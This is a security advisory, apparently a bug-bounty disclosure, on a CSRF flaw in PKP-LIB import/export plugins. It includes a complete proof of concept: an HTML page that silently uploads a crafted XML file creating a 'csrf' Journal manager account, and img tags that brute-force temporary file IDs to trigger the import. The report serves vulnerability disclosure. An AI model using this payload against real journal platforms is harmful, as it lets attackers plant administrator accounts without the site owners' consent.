Description
Higher severity CSRF in PKP-LIB plugins
ImportExport is vulnerable to CSRF in terms of file uploads and file imports, an attacker can import arbitrary users into the platform,
1: POST /index.php/e/management/importexport/plugin/UserImportExportPlugin/uploadImportXML
2: GET /index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=52
The only CSRF check exists in the importBounce, but it does not matter because the above 2 requests are enough to upload and import XML files. So an attack can first induce Request 1 and then induce Request 2 via a CSRF attack, thus tricking admins into adding arbitrary admin users to the platform.
The NativeExport plugin is also vulnerable to this.
Proof of Concept
1: Induce Request 1
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/uploadImportXML", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"name\"\r\n" +
"\r\n" + "users.xml" +
"\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"uploadedFile\"; ; filename=\"users.xml\"\r\n" +
"Content-Type: text/xml\r\n" +
"\r\n" +
"<?xml version='1.0'?><PKPUsers xmlns='http://pkp.sfu.ca' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://pkp.sfu.ca pkp-users.xsd'><user_groups xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:schemaLocation='http://pkp.sfu.ca pkp-users.xsd'><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Journal manager</name><abbrev locale='en_US'>JM</abbrev><stage_assignments/></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Journal editor</name><abbrev locale='en_US'>JE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Production editor</name><abbrev locale='en_US'>ProdE</abbrev><stage_assignments>4:5</stage_assignments></user_group><user_group><role_id>17</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>Section editor</name><abbrev locale='en_US'>SecE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>17</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Guest editor</name><abbrev locale='en_US'>GE</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Copyeditor</name><abbrev locale='en_US'>CE</abbrev><stage_assignments>1:3:4</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Designer</name><abbrev locale='en_US'>Design</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Funding coordinator</name><abbrev locale='en_US'>FC</abbrev><stage_assignments>1:3</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Indexer</name><abbrev locale='en_US'>IND</abbrev><stage_assignments>1:5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Layout Editor</name><abbrev locale='en_US'>LE</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Marketing and sales coordinator</name><abbrev locale='en_US'>MS</abbrev><stage_assignments>4</stage_assignments></user_group><user_group><role_id>4097</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Proofreader</name><abbrev locale='en_US'>PR</abbrev><stage_assignments>5</stage_assignments></user_group><user_group><role_id>65536</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Author</name><abbrev locale='en_US'>AU</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>65536</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Translator</name><abbrev locale='en_US'>Trans</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>4096</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Reviewer</name><abbrev locale='en_US'>R</abbrev><stage_assignments>3</stage_assignments></user_group><user_group><role_id>1048576</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>true</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Reader</name><abbrev locale='en_US'>Read</abbrev><stage_assignments/></user_group><user_group><role_id>2097152</role_id><context_id>1</context_id><is_default>true</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>false</permit_metadata_edit><name locale='en_US'>Subscription Manager</name><abbrev locale='en_US'>SubM</abbrev><stage_assignments/></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group><user_group><role_id>16</role_id><context_id>1</context_id><is_default>false</is_default><show_title>false</show_title><permit_self_registration>false</permit_self_registration><permit_metadata_edit>true</permit_metadata_edit><name locale='en_US'>xss</name><abbrev locale='en_US'>xss</abbrev><stage_assignments>1:3:4:5</stage_assignments></user_group></user_groups><users><user><givenname locale='en_US'>csrf</givenname><familyname locale='en_US'>csrf</familyname><email>csrf@csrf.local</email><username>csrf</username><password is_disabled='false' must_change='false' encryption='sha1'><value>$2y$10$bB.3T2929mB2J.xdQVwpdeDpzOoxmeJrgbHkUA2Rt4BVm.eK9mi3K</value></password><date_registered>2021-10-04 17:41:12</date_registered><date_last_login>2021-10-06 16:24:07</date_last_login><inline_help>true</inline_help><auth_id>0</auth_id><locales>b:0;</locales><user_group_ref>Journal manager</user_group_ref></user></users></PKPUsers>" + "\r\n" +
"-----------------------------256672629917035--\r\n"
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>
2: Induce Request 2 (Bruteforce the temporaryFileId)
...
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=66">
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=67">
<img src="http://10.0.2.15:8000/index.php/e/management/importexport/plugin/UserImportExportPlugin/import?temporaryFileId=68">
...
Impact
This vulnerability is capable of tricking admins to add arbitrary admin users to platform